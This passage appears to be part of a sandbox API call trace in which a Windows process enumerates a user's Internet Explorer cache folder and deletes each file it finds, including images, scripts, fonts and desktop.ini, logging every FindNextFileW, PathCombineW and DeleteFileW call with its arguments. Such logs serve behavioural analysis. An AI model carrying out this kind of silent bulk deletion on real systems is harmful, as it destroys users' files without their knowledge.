Files\\Low\\Content.IE5\\5JW0IE7I\\BBghfVy[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBghfVy[1].png" [0103.530] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBghfVy[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbghfvy[1].png")) returned 1 [0103.533] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb7659e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb7659e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb8964e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BBs47TE[1].png", cAlternateFileName="BBS47T~1.PNG")) returned 1 [0103.533] lstrlenW (lpString="BBs47TE[1].png") returned 14 [0103.533] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BBs47TE[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBs47TE[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBs47TE[1].png" [0103.533] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BBs47TE[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bbs47te[1].png")) returned 1 [0103.533] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c8c7800, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c8c7800, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c8c7800, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ci[1].png", cAlternateFileName="CI_1_~1.PNG")) returned 1 [0103.533] lstrlenW (lpString="ci[1].png") returned 9 [0103.533] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="ci[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ci[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ci[1].png" [0103.533] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ci[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\ci[1].png")) returned 1 [0103.536] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c8c7800, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1c8c7800, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1c8c7800, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x762, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="COMMON[1].css", cAlternateFileName="COMMON~1.CSS")) returned 1 [0103.536] lstrlenW (lpString="COMMON[1].css") returned 13 [0103.536] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="COMMON[1].css" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\COMMON[1].css") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\COMMON[1].css" [0103.536] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\COMMON[1].css" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\common[1].css")) returned 1 [0103.544] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc1cfa20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc1cfa20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcc267fa0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ContainerTag[1].js", cAlternateFileName="CONTAI~1.JS")) returned 1 [0103.544] lstrlenW (lpString="ContainerTag[1].js") returned 18 [0103.544] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="ContainerTag[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ContainerTag[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ContainerTag[1].js" [0103.544] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ContainerTag[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\containertag[1].js")) returned 1 [0103.548] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd10bbbc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xd10bbbc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xd1be42e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4c7, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="controller[1].htm", cAlternateFileName="CONTRO~1.HTM")) returned 1 [0103.548] lstrlenW (lpString="controller[1].htm") returned 17 [0103.548] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="controller[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\controller[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\controller[1].htm" [0103.548] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\controller[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\controller[1].htm")) returned 1 [0103.549] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd599100, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd599100, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd599100, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x56, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="dbm_mediaiqdigital_com[2].gif", cAlternateFileName="DBM_ME~2.GIF")) returned 1 [0103.549] lstrlenW (lpString="dbm_mediaiqdigital_com[2].gif") returned 29 [0103.549] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="dbm_mediaiqdigital_com[2].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\dbm_mediaiqdigital_com[2].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\dbm_mediaiqdigital_com[2].gif" [0103.549] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\dbm_mediaiqdigital_com[2].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\dbm_mediaiqdigital_com[2].gif")) returned 1 [0103.552] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xc6a7b300, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xc6a7b300, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xc6a7b300, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0103.552] lstrlenW (lpString="desktop.ini") returned 11 [0103.552] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="desktop.ini" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\desktop.ini" [0103.552] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\desktop.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\desktop.ini")) returned 1 [0103.553] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19b674a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x19b674a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x19bd98c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x4d5b9, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ebHtml5Banner[2].js", cAlternateFileName="EBHTML~2.JS")) returned 1 [0103.553] lstrlenW (lpString="ebHtml5Banner[2].js") returned 19 [0103.553] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="ebHtml5Banner[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ebHtml5Banner[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ebHtml5Banner[2].js" [0103.553] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ebHtml5Banner[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\ebhtml5banner[2].js")) returned 1 [0103.553] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9fe0320, ftCreationTime.dwHighDateTime=0x1d2fb13, ftLastAccessTime.dwLowDateTime=0xb9fe0320, ftLastAccessTime.dwHighDateTime=0x1d2fb13, ftLastWriteTime.dwLowDateTime=0xb9fe0320, ftLastWriteTime.dwHighDateTime=0x1d2fb13, nFileSizeHigh=0x0, nFileSizeLow=0x156a, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="googlelogo_white_background_color_272x92dp[1].png", cAlternateFileName="GOOGLE~1.PNG")) returned 1 [0103.553] lstrlenW (lpString="googlelogo_white_background_color_272x92dp[1].png") returned 49 [0103.553] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="googlelogo_white_background_color_272x92dp[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\googlelogo_white_background_color_272x92dp[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\googlelogo_white_background_color_272x92dp[1].png" [0103.553] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\googlelogo_white_background_color_272x92dp[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\googlelogo_white_background_color_272x92dp[1].png")) returned 1 [0103.559] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdeac4e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdeac4e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdeac4e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1790, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="gwdpagedeck_min[2].js", cAlternateFileName="GWDPAG~2.JS")) returned 1 [0103.559] lstrlenW (lpString="gwdpagedeck_min[2].js") returned 21 [0103.559] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="gwdpagedeck_min[2].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\gwdpagedeck_min[2].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\gwdpagedeck_min[2].js" [0103.559] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\gwdpagedeck_min[2].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\gwdpagedeck_min[2].js")) returned 1 [0103.562] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf809780, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf809780, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf809780, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x150d4, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="jquery[1]", cAlternateFileName="JQUERY~1")) returned 1 [0103.562] lstrlenW (lpString="jquery[1]") returned 9 [0103.562] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="jquery[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\jquery[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\jquery[1]" [0103.562] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\jquery[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\jquery[1]")) returned 1 [0103.582] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf5ce2e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf5ce2e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf5ce2e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="js[1]", cAlternateFileName="JS_1_~1")) returned 1 [0103.582] lstrlenW (lpString="js[1]") returned 5 [0103.582] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="js[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\js[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\js[1]" [0103.582] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\js[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\js[1]")) returned 1 [0103.582] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ac832c0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ac832c0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1ac832c0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="js[2]", cAlternateFileName="JS_2_~1")) returned 1 [0103.582] lstrlenW (lpString="js[2]") returned 5 [0103.582] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="js[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\js[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\js[2]" [0103.582] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\js[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\js[2]")) returned 1 [0103.587] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf1eff20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf1eff20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf216080, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x6e9b, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="latest[1].eot", cAlternateFileName="LATEST~1.EOT")) returned 1 [0103.587] lstrlenW (lpString="latest[1].eot") returned 13 [0103.587] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="latest[1].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[1].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[1].eot" [0103.587] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[1].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\latest[1].eot")) returned 1 [0103.588] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf1eff20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf1eff20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf23c1e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7154, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="latest[2].eot", cAlternateFileName="LATEST~2.EOT")) returned 1 [0103.588] lstrlenW (lpString="latest[2].eot") returned 13 [0103.588] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="latest[2].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[2].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[2].eot" [0103.588] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[2].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\latest[2].eot")) returned 1 [0103.588] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf216080, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf216080, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf262340, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7a43, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="latest[3].eot", cAlternateFileName="LATEST~3.EOT")) returned 1 [0103.588] lstrlenW (lpString="latest[3].eot") returned 13 [0103.588] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="latest[3].eot" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[3].eot") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[3].eot" [0103.588] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\latest[3].eot" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\latest[3].eot")) returned 1 [0103.588] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd6577e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd6577e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd6577e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="log[1].gif", cAlternateFileName="LOG_1_~1.GIF")) returned 1 [0103.588] lstrlenW (lpString="log[1].gif") returned 10 [0103.588] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="log[1].gif" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\log[1].gif") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\log[1].gif" [0103.588] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\log[1].gif" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\log[1].gif")) returned 1 [0103.596] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfdfce80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfdfce80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfdfce80, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x23, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="match[1].gif", cAlternateFileName="MATCH_~1.GIF")) returned 1 [0103.596] lstrlenW (lpString="match[1].gif") returned 12 [0103.596] PathCombineW (in: pszDest=0x9a91840, 